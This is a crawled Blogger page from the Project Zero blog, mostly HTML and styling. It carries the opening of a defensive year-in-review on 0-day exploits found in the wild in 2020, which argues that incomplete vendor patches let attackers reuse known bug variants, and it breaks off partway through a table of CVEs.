CINXE.COM

<!DOCTYPE html> <html class='v2' dir='ltr' lang='en' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'> <head> <link href='https://www.blogger.com/static/v1/widgets/3566091532-css_bundle_v2.css' rel='stylesheet' type='text/css'/> <meta content='width=1100' name='viewport'/> <meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/> <meta content='blogger' name='generator'/> <link href='https://googleprojectzero.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/> <link href='https://googleprojectzero.blogspot.com/2021/02/' rel='canonical'/> <link rel="alternate" type="application/atom+xml" title="Project Zero - Atom" href="https://googleprojectzero.blogspot.com/feeds/posts/default" /> <link rel="alternate" type="application/rss+xml" title="Project Zero - RSS" href="https://googleprojectzero.blogspot.com/feeds/posts/default?alt=rss" /> <link rel="service.post" type="application/atom+xml" title="Project Zero - Atom" href="https://www.blogger.com/feeds/4838136820032157985/posts/default" />  <meta content='https://googleprojectzero.blogspot.com/2021/02/' property='og:url'/> <meta content='Project Zero' property='og:title'/> <meta content='News and updates from the Project Zero team at Google' property='og:description'/> <title>Project Zero: February 2021</title> <style type='text/css'>@font-face{font-family:'Open Sans';font-style:normal;font-weight:400;font-stretch:normal;font-display:swap;src:url(//fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4gaVY.eot);}</style> <style id='page-skin-1' type='text/css'></style> <style id='template-skin-1' type='text/css'></style> <script type='text/javascript'> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-240546891-1', 'auto', 'blogger'); ga('blogger.send', 'pageview'); </script> <link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4838136820032157985&zx=1340865a-3aab-4434-a99c-c00c7a32edd6' media='none' onload='if(media!='all')media='all'' rel='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4838136820032157985&zx=1340865a-3aab-4434-a99c-c00c7a32edd6' rel='stylesheet'/></noscript> <meta name='google-adsense-platform-account' content='ca-host-pub-1556223355139109'/> <meta name='google-adsense-platform-domain' content='blogspot.com'/> </head> <body class='loading'> <div class='navbar section' id='navbar' name='Navbar'><div class='widget Navbar' data-version='1' id='Navbar1'><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener('load', function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <div id="navbar-iframe-container"></div> <script type="text/javascript" src="https://apis.google.com/js/platform.js"></script> <script type="text/javascript"> gapi.load("gapi.iframes:gapi.iframes.style.bubble", function() { if (gapi.iframes && gapi.iframes.getContext) { gapi.iframes.getContext().openChild({ url: 'https://www.blogger.com/navbar/4838136820032157985?origin\x3dhttps://googleprojectzero.blogspot.com', where: document.getElementById("navbar-iframe-container"), id: "navbar-iframe" }); } }); </script><script type="text/javascript"> (function() { var script = document.createElement('script'); script.type = 'text/javascript'; script.src = '//pagead2.googlesyndication.com/pagead/js/google_top_exp.js'; var head = document.getElementsByTagName('head')[0]; if (head) { head.appendChild(script); }})(); </script> </div></div> <div class='body-fauxcolumns'> <div class='fauxcolumn-outer body-fauxcolumn-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <div class='content'> <div class='content-fauxcolumns'> <div class='fauxcolumn-outer content-fauxcolumn-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <div class='content-outer'> <div class='content-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left content-fauxborder-left'> <div class='fauxborder-right content-fauxborder-right'></div> <div class='content-inner'> <header> <div class='header-outer'> <div class='header-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left header-fauxborder-left'> <div class='fauxborder-right header-fauxborder-right'></div> <div class='region-inner header-inner'> <div class='header section' id='header' name='Header'><div class='widget Header' data-version='1' id='Header1'> <div id='header-inner'> <div class='titlewrapper'> <h1 class='title'> <a href='https://googleprojectzero.blogspot.com/'> Project Zero </a> </h1> </div> <div class='descriptionwrapper'> News and updates from the Project Zero team at Google </div> </div> </div></div> </div> </div> <div class='header-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </header> <div class='tabs-outer'> <div class='tabs-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left tabs-fauxborder-left'> <div class='fauxborder-right tabs-fauxborder-right'></div> <div class='region-inner tabs-inner'> <div class='tabs no-items section' id='crosscol' name='Cross-Column'></div> <div class='tabs no-items section' id='crosscol-overflow' name='Cross-Column 2'></div> </div> </div> <div class='tabs-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <div class='main-outer'> <div class='main-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left main-fauxborder-left'> <div class='fauxborder-right main-fauxborder-right'></div> <div class='region-inner main-inner'> <div class='columns fauxcolumns'> <div class='fauxcolumn-outer fauxcolumn-center-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <div class='fauxcolumn-outer fauxcolumn-left-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <div class='fauxcolumn-outer fauxcolumn-right-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div>  <div class='columns-inner'> <div class='column-center-outer'> <div class='column-center-inner'> <div class='main section' id='main' name='Main'><div class='widget Blog' data-version='1' id='Blog1'> <div class='blog-posts hfeed'> <div class="date-outer"> <h2 class='date-header'>Wednesday, February 3, 2021</h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='4838136820032157985' itemprop='blogId'/> <meta content='2386590713508572091' itemprop='postId'/> <a name='2386590713508572091'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html'>D茅j脿 vu-lnerability</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-2386590713508572091' itemprop='description articleBody'> <style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=cGvuclDC_Z1vE_cnVEU6Ae_NZQ7StBcqH_vXVqoPMX0');.lst-kix_r9pow2tp8cv0-3>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-3}ol.lst-kix_r9pow2tp8cv0-8.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-8 0}ol.lst-kix_rh2sjnt7clnl-5.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-5 0}.lst-kix_r9pow2tp8cv0-8>li:before{content:"" counter(lst-ctn-kix_r9pow2tp8cv0-8,lower-roman) ". "}ol.lst-kix_r9pow2tp8cv0-5.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-5 0}ol.lst-kix_rh2sjnt7clnl-2.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-2 0}.lst-kix_xcgzvmnt5e4b-8>li:before{content:"\0025a0 "}.lst-kix_r9pow2tp8cv0-4>li:before{content:"(" counter(lst-ctn-kix_r9pow2tp8cv0-4,lower-latin) ") "}.lst-kix_r9pow2tp8cv0-6>li:before{content:"" counter(lst-ctn-kix_r9pow2tp8cv0-6,decimal) ". "}.lst-kix_r9pow2tp8cv0-3>li:before{content:"(" counter(lst-ctn-kix_r9pow2tp8cv0-3,decimal) ") "}.lst-kix_r9pow2tp8cv0-7>li:before{content:"" counter(lst-ctn-kix_r9pow2tp8cv0-7,lower-latin) ". "}.lst-kix_rh2sjnt7clnl-0>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-0}.lst-kix_r9pow2tp8cv0-4>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-4}ol.lst-kix_rh2sjnt7clnl-8.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-8 0}.lst-kix_r9pow2tp8cv0-5>li:before{content:"(" counter(lst-ctn-kix_r9pow2tp8cv0-5,lower-roman) ") "}.lst-kix_ir94vkdxrs7o-0>li:before{content:"\0025cf "}.lst-kix_ir94vkdxrs7o-2>li:before{content:"\0025a0 "}ul.lst-kix_ir94vkdxrs7o-0{list-style-type:none}ul.lst-kix_ir94vkdxrs7o-1{list-style-type:none}.lst-kix_ir94vkdxrs7o-3>li:before{content:"\0025cf "}ul.lst-kix_ir94vkdxrs7o-2{list-style-type:none}ul.lst-kix_ir94vkdxrs7o-3{list-style-type:none}ul.lst-kix_ir94vkdxrs7o-4{list-style-type:none}ul.lst-kix_ir94vkdxrs7o-5{list-style-type:none}.lst-kix_r9pow2tp8cv0-0>li:before{content:"" counter(lst-ctn-kix_r9pow2tp8cv0-0,decimal) ") "}.lst-kix_r9pow2tp8cv0-2>li:before{content:"" counter(lst-ctn-kix_r9pow2tp8cv0-2,lower-roman) ") "}ul.lst-kix_ir94vkdxrs7o-6{list-style-type:none}.lst-kix_r9pow2tp8cv0-5>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-5}ul.lst-kix_ir94vkdxrs7o-7{list-style-type:none}ul.lst-kix_ir94vkdxrs7o-8{list-style-type:none}.lst-kix_ir94vkdxrs7o-1>li:before{content:"\0025cb "}.lst-kix_r9pow2tp8cv0-1>li:before{content:"" counter(lst-ctn-kix_r9pow2tp8cv0-1,lower-latin) ") "}.lst-kix_rh2sjnt7clnl-1>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-1}.lst-kix_r9pow2tp8cv0-2>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-2}ol.lst-kix_r9pow2tp8cv0-2.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-2 0}.lst-kix_wa1quvbznvvl-0>li:before{content:"\0025cf "}.lst-kix_wa1quvbznvvl-1>li:before{content:"\0025cb "}.lst-kix_r9pow2tp8cv0-0>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-0}ol.lst-kix_r9pow2tp8cv0-3.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-3 0}.lst-kix_rh2sjnt7clnl-0>li:before{content:"" counter(lst-ctn-kix_rh2sjnt7clnl-0,decimal) ") "}.lst-kix_rh2sjnt7clnl-1>li:before{content:"" counter(lst-ctn-kix_rh2sjnt7clnl-1,lower-latin) ") "}.lst-kix_r9pow2tp8cv0-6>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-6}ul.lst-kix_xcgzvmnt5e4b-8{list-style-type:none}.lst-kix_wa1quvbznvvl-2>li:before{content:"\0025a0 "}.lst-kix_rh2sjnt7clnl-2>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-2}.lst-kix_rh2sjnt7clnl-3>li:before{content:"(" counter(lst-ctn-kix_rh2sjnt7clnl-3,decimal) ") "}.lst-kix_wa1quvbznvvl-4>li:before{content:"\0025cb "}.lst-kix_wa1quvbznvvl-5>li:before{content:"\0025a0 "}.lst-kix_wa1quvbznvvl-3>li:before{content:"\0025cf "}.lst-kix_rh2sjnt7clnl-2>li:before{content:"" counter(lst-ctn-kix_rh2sjnt7clnl-2,lower-roman) ") "}.lst-kix_ir94vkdxrs7o-8>li:before{content:"\0025a0 "}ol.lst-kix_rh2sjnt7clnl-3.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-3 0}.lst-kix_ir94vkdxrs7o-6>li:before{content:"\0025cf "}.lst-kix_ir94vkdxrs7o-7>li:before{content:"\0025cb "}.lst-kix_ir94vkdxrs7o-4>li:before{content:"\0025cb "}.lst-kix_ir94vkdxrs7o-5>li:before{content:"\0025a0 "}ol.lst-kix_r9pow2tp8cv0-4.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-4 0}.lst-kix_rh2sjnt7clnl-8>li:before{content:"" counter(lst-ctn-kix_rh2sjnt7clnl-8,lower-roman) ". "}.lst-kix_wa1quvbznvvl-8>li:before{content:"\0025a0 "}.lst-kix_wa1quvbznvvl-6>li:before{content:"\0025cf "}.lst-kix_rh2sjnt7clnl-7>li:before{content:"" counter(lst-ctn-kix_rh2sjnt7clnl-7,lower-latin) ". "}.lst-kix_rh2sjnt7clnl-8>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-8}.lst-kix_rh2sjnt7clnl-4>li:before{content:"(" counter(lst-ctn-kix_rh2sjnt7clnl-4,lower-latin) ") "}.lst-kix_rh2sjnt7clnl-5>li:before{content:"(" counter(lst-ctn-kix_rh2sjnt7clnl-5,lower-roman) ") "}.lst-kix_rh2sjnt7clnl-5>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-5}.lst-kix_wa1quvbznvvl-7>li:before{content:"\0025cb "}.lst-kix_rh2sjnt7clnl-6>li:before{content:"" counter(lst-ctn-kix_rh2sjnt7clnl-6,decimal) ". "}ol.lst-kix_rh2sjnt7clnl-0{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-1{list-style-type:none}.lst-kix_r9pow2tp8cv0-8>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-8}ol.lst-kix_r9pow2tp8cv0-1.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-1 0}.lst-kix_z1i3uqhq0nom-7>li:before{content:"\0025cb "}.lst-kix_z1i3uqhq0nom-8>li:before{content:"\0025a0 "}ul.lst-kix_wa1quvbznvvl-4{list-style-type:none}ul.lst-kix_wa1quvbznvvl-5{list-style-type:none}ul.lst-kix_wa1quvbznvvl-6{list-style-type:none}ul.lst-kix_wa1quvbznvvl-7{list-style-type:none}ul.lst-kix_wa1quvbznvvl-0{list-style-type:none}.lst-kix_rh2sjnt7clnl-6>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-6}ul.lst-kix_wa1quvbznvvl-1{list-style-type:none}ul.lst-kix_wa1quvbznvvl-2{list-style-type:none}ul.lst-kix_wa1quvbznvvl-3{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-1.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-1 0}ul.lst-kix_wa1quvbznvvl-8{list-style-type:none}.lst-kix_rh2sjnt7clnl-4>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-4}ul.lst-kix_xcgzvmnt5e4b-3{list-style-type:none}ul.lst-kix_xcgzvmnt5e4b-2{list-style-type:none}ul.lst-kix_xcgzvmnt5e4b-1{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-4.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-4 0}ul.lst-kix_xcgzvmnt5e4b-0{list-style-type:none}ul.lst-kix_xcgzvmnt5e4b-7{list-style-type:none}ul.lst-kix_xcgzvmnt5e4b-6{list-style-type:none}ul.lst-kix_xcgzvmnt5e4b-5{list-style-type:none}ul.lst-kix_xcgzvmnt5e4b-4{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-0.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-0 0}ol.lst-kix_rh2sjnt7clnl-7.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-7 0}ol.lst-kix_r9pow2tp8cv0-5{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-6{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-7{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-8{list-style-type:none}.lst-kix_rh2sjnt7clnl-7>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-7}ol.lst-kix_r9pow2tp8cv0-6.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-6 0}.lst-kix_r9pow2tp8cv0-7>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-7}.lst-kix_r9pow2tp8cv0-1>li{counter-increment:lst-ctn-kix_r9pow2tp8cv0-1}.lst-kix_rh2sjnt7clnl-3>li{counter-increment:lst-ctn-kix_rh2sjnt7clnl-3}ol.lst-kix_rh2sjnt7clnl-6.start{counter-reset:lst-ctn-kix_rh2sjnt7clnl-6 0}.lst-kix_xcgzvmnt5e4b-0>li:before{content:"\0025cf "}.lst-kix_xcgzvmnt5e4b-1>li:before{content:"\0025cb "}.lst-kix_z1i3uqhq0nom-1>li:before{content:"\0025cb "}.lst-kix_z1i3uqhq0nom-3>li:before{content:"\0025cf "}.lst-kix_xcgzvmnt5e4b-2>li:before{content:"\0025a0 "}.lst-kix_z1i3uqhq0nom-2>li:before{content:"\0025a0 "}.lst-kix_z1i3uqhq0nom-6>li:before{content:"\0025cf "}.lst-kix_z1i3uqhq0nom-5>li:before{content:"\0025a0 "}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_xcgzvmnt5e4b-7>li:before{content:"\0025cb "}ol.lst-kix_r9pow2tp8cv0-0.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-0 0}.lst-kix_z1i3uqhq0nom-4>li:before{content:"\0025cb "}ol.lst-kix_r9pow2tp8cv0-1{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-2{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-2{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-3{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-3{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-4{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-4{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-5{list-style-type:none}.lst-kix_xcgzvmnt5e4b-6>li:before{content:"\0025cf "}ul.lst-kix_z1i3uqhq0nom-8{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-6{list-style-type:none}ul.lst-kix_z1i3uqhq0nom-7{list-style-type:none}ol.lst-kix_rh2sjnt7clnl-7{list-style-type:none}.lst-kix_xcgzvmnt5e4b-5>li:before{content:"\0025a0 "}ol.lst-kix_rh2sjnt7clnl-8{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-0{list-style-type:none}.lst-kix_xcgzvmnt5e4b-4>li:before{content:"\0025cb "}ul.lst-kix_z1i3uqhq0nom-4{list-style-type:none}ul.lst-kix_z1i3uqhq0nom-3{list-style-type:none}ol.lst-kix_r9pow2tp8cv0-7.start{counter-reset:lst-ctn-kix_r9pow2tp8cv0-7 0}ul.lst-kix_z1i3uqhq0nom-6{list-style-type:none}ul.lst-kix_z1i3uqhq0nom-5{list-style-type:none}ul.lst-kix_z1i3uqhq0nom-0{list-style-type:none}.lst-kix_xcgzvmnt5e4b-3>li:before{content:"\0025cf "}ul.lst-kix_z1i3uqhq0nom-2{list-style-type:none}.lst-kix_z1i3uqhq0nom-0>li:before{content:"\0025cf "}ul.lst-kix_z1i3uqhq0nom-1{list-style-type:none}ol{margin:0;padding:0}table td,table th{padding:0}.c28{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.c30{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:174.8pt;border-top-color:#000000;border-bottom-style:solid}.c32{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:137.2pt;border-top-color:#000000;border-bottom-style:solid}.c12{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:156pt;border-top-color:#000000;border-bottom-style:solid}.c38{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#000000;border-bottom-style:solid}.c9{padding-top:20pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.c7{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;text-align:left}.c42{padding-top:0pt;padding-bottom:16pt;line-height:1.5;page-break-after:avoid;text-align:left}.c36{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.c37{-webkit-text-decoration-skip:none;text-decoration:underline;vertical-align:baseline;text-decoration-skip-ink:none;font-style:normal}.c17{border-spacing:0;border-collapse:collapse;margin-right:auto}.c2{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.c11{color:#000000;font-weight:400;font-size:11pt;font-family:"Arial"}.c27{color:#000000;font-weight:400;font-size:20pt;font-family:"Arial"}.c33{color:#000000;font-weight:400;font-size:16pt;font-family:"Arial"}.c8{font-size:10pt;font-family:Consolas,"Courier New";color:#3367d6;font-weight:400}.c0{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.c5{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c18{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.c1{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.c16{color:#434343;font-weight:400;font-size:14pt;font-family:"Arial"}.c46{color:#666666;font-weight:400;font-size:15pt;font-family:"Arial"}.c34{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.c20{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.c6{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.c25{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c29{font-size:10pt;font-family:Consolas,"Courier New";color:#000000}.c44{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0}.c24{font-size:10pt;font-family:Consolas,"Courier New";color:#3367d6}.c40{-webkit-text-decoration-skip:none;text-decoration:underline;text-decoration-skip-ink:none}.c43{color:#000000;font-size:11pt;font-family:"Arial"}.c39{font-size:10pt;font-family:Consolas,"Courier New";color:#616161}.c45{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.c23{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.c4{text-decoration:none;vertical-align:baseline;font-style:normal}.c22{margin-left:36pt;padding-left:0pt}.c3{orphans:2;widows:2}.c41{padding:0;margin:0}.c21{color:inherit;text-decoration:inherit}.c13{height:11pt}.c10{background-color:#ea9999}.c31{font-style:italic}.c15{background-color:#ffff00}.c19{font-weight:700}.c14{background-color:#b6d7a8}.c26{height:0pt}.c35{height:21pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c45">A Year in Review of 0-days Exploited In-The-Wild in 2020Posted by Maddie Stone, Project Zero2020 was a year full of 0-day exploits. Many of the Internet’s most popular browsers had their moment in the spotlight. Memory corruption is still the name of the game and how the vast majority of detected 0-days are getting in. While we tried new methods of 0-day detection with modest success, 2020 showed us that there is still a long way to go in detecting these 0-day exploits in-the-wild. But what may be the most notable fact is that 25% of the 0-days detected in 2020 are closely related to previously publicly disclosed vulnerabilities. In other words, 1 out of every 4 detected 0-day exploits could potentially have been avoided if a more thorough investigation and patching effort were explored. Across the industry, incomplete patches — patches that don’t correctly and comprehensively fix the root cause of a vulnerability — allow attackers to use 0-days against users with less effort.Since mid-2019, Project Zero has dedicated an effort specifically to track, analyze, and learn from 0-days that are actively exploited in-the-wild. For the last 6 years, Project Zero’s mission has been to “make 0-day hard”. From that came the goal of our in-the-wild program: “Learn from 0-days exploited in-the-wild in order to make 0-day hard.” In order to ensure our work is actually making it harder to exploit 0-days, we need to understand how 0-days are actually being used. Continuously pushing forward the public’s understanding of 0-day exploitation is only helpful when it doesn’t diverge from the “private state-of-the-art”, what attackers are doing and are capable of. Over the last 18 months, we’ve learned a lot about the active exploitation of 0-days and our work has matured and evolved with it. <a class="c211" href="https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html">For the 2nd year in a row</a>, we’re publishing a “Year in Review” report of the previous year’s detected 0-day exploits. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you’re interested in each individual exploit’s analysis, please check out our<a class="c211" href="https://googleprojectzero.blogspot.com/p/rca.html"> root cause analyses</a>. When looking at the 24 0-days detected in-the-wild in 2020, there’s an undeniable conclusion: increasing investment in correct and comprehensive patches is a huge opportunity for our industry to impact attackers using 0-days. A correct patch is one that fixes a bug with complete accuracy, meaning the patch no longer allows any exploitation of the vulnerability. A comprehensive patch applies that fix everywhere that it needs to be applied, covering all of the variants. We consider a patch to be complete only when it is both correct and comprehensive. When exploiting a single vulnerability or bug, there are often multiple ways to trigger the vulnerability, or multiple paths to access it. Many times we’re seeing vendors block only the path that is shown in the proof-of-concept or exploit sample, rather than fixing the vulnerability as a whole, which would block all of the paths. Similarly, security researchers are often reporting bugs without following up on how the patch works and exploring related attacks.While the idea that incomplete patches are making it easier for attackers to exploit 0-days may be uncomfortable, the converse of this conclusion can give us hope. We have a clear path toward making 0-days harder. If more vulnerabilities are patched correctly and comprehensively, it will be harder for attackers to exploit 0-days.<h1 class="c9 c3" id="h.pjwf2y1do0f0">This vulnerability looks familiar 🤔</h1>As stated in the introduction, 2020 included 0-day exploits that are similar to ones we’ve seen before. 6 of 24 0-days exploits detected in-the-wild are closely related to publicly disclosed vulnerabilities. Some of these 0-day exploits only had to change a line or two of code to have a new working 0-day exploit. This section explains how each of these 6 actively exploited 0-days are related to a previously seen vulnerability. We’re taking the time to detail each and show the minimal differences between the vulnerabilities to demonstrate that once you understand one of the vulnerabilities, it’s much easier to then exploit another. <a id="t.b74f5f217f98f20b760791f8e1d63f313284b751"></a><a id="t.0"></a><table class="c17"><tbody><tr class="c26"><td class="c12" colspan="1" rowspan="1">Product</td><td class="c30" colspan="1" rowspan="1">Vulnerability exploited in-the-wild</td><td class="c32" colspan="1" rowspan="1">Variant of...</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Microsoft Internet Explorer</td><td class="c30" colspan="1" rowspan="1">CVE-2020-0674</td><td class="c32" colspan="1" rowspan="1">CVE-2018-8653* CVE-2019-1367* CVE-2019-1429*</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Mozilla Firefox</td><td class="c30" colspan="1" rowspan="1">CVE-2020-6820</td><td class="c32" colspan="1" rowspan="1">Mozilla <a class="c211" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1507180">Bug 1507180</a></td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Google Chrome</td><td class="c30" 